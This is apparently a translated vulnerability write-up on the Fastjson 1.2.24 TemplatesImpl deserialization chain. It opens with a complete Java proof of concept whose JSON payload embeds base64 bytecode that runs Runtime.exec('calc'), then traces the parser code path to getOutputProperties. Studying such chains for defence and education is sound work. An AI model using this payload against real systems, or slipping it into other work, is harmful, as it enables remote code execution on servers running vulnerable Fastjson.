Construct malicious class
package org.example.fastjson.TemplatesImpl; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class Test { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
Analysis of deserialization vulnerability of Fastjson TemplatesImpl chain
Start with the parseObject function:
public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) { return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features); } public static <T> T parseObject(String input, Type clazz, ParserConfig config, int featureValues, Feature... features) { return parseObject(input, clazz, config, (ParseProcess)null, featureValues, features); }
Here, several parameters are passed in and the overloaded method of parseObject is called directly.
The parameters are input, clazz, config and features.
input passes in the data that needs to be deserialized. Here is our payload data.
clazz is the specified object, here is object Class object
config is the instance object of ParserConfig
The features parameter is a parameter used to deserialize the private attribute.
Instantiate a DefaultJSONParser and call the parseObject method to track the parseObject
Let's look at this code. It's a ternary operation. Whether type is a class object and type is not equal to object Class and type are not equal to
Serializable. Call parser when the class condition is true Parseobject, if the condition is flash, call parser parse. Obviously, parser. Is called here Parse method. Keep tracking.
This The value of lexer is assigned to lexer, and this Lexer is assigned when the DefaultJSONParser object is instantiated. In the full parameter construction method, we can see the following:
Call lexer Getcurrent(), get the data in ch. if it is {, set lexer.token to 12; if it is [set], set lexer.token to 14.
Next, we will come to case 12: here,
Call this Parseobject continues tracing
Call lexer in parseObject function Scansymbol method. The logic nearby is that this method will cycle character by character to obtain the content (@ type) after double quotation marks. Those interested can follow up on their own. There is no screenshot here
Then go down to line 274
Judge whether the key is equal to @ type. If it is equal to @ type, get the value in @ type, and then call reflection to pass in the class name to get a method to get the class object. It is clear here that the class name has been passed in and ready to get the object
Let's go to this code
Follow up this config. After getdeserializer, you will find that the build() function will be called in the construction method,
Then came com alibaba. fastjson. util. JavaBeanInfo#build
After getting the class through @ type, get all the methods of the class through reflection and store them in methods
Next, traverse the methods to obtain the get and set methods (loop through the get and set methods)
set How to find: Method name length is greater than 4 Non static method The return value is void Or current class Method name with set start The number of parameters is 1 get How to find: Method name length is greater than or equal to 4 Non static method with get The first and fourth letter are capitalized No parameters passed in The return value type is inherited from Collection Map AtomicBoolean AtomicInteger AtomicLong So you get TemplatesImpl of getOutputProperties()
Return to com alibaba. fastjson. parser. deserializer. JavaBean deserializer #deserialze continues to debug the trace to the parseField method
follow-up
The smartMatch function replaces_ The character is empty
After execution, return to com alibaba. fastjson. parser. deserializer. JavaBean deserializer# parsefield comes to this step
Here, we will call the passed in parameters, that is, the passed in get method, to set the value, make reflection calls, and call our code after executing the getOutputProperties() method of TemplatesImpl, that is, pop up the computer
Make a reflection call and execute the getOutputProperties() method of TemplatesImpl. Deserialization is to call the get method of our utilization class.
The order was executed successfully, but we still have a problem left unanswered, that is_ Why does bytecodes need base64 coding
When parsing byte data, go back and call this lexer. bytesValue();, The trace will see that ioutils. Is called Decode base64 decryption
reference resources: https://reader-l.github.io/2021/04/17/FastJason-1-2-22-1-2-24-TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/ https://www.cnblogs.com/nice0e3/p/14601670.html#0x02-fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0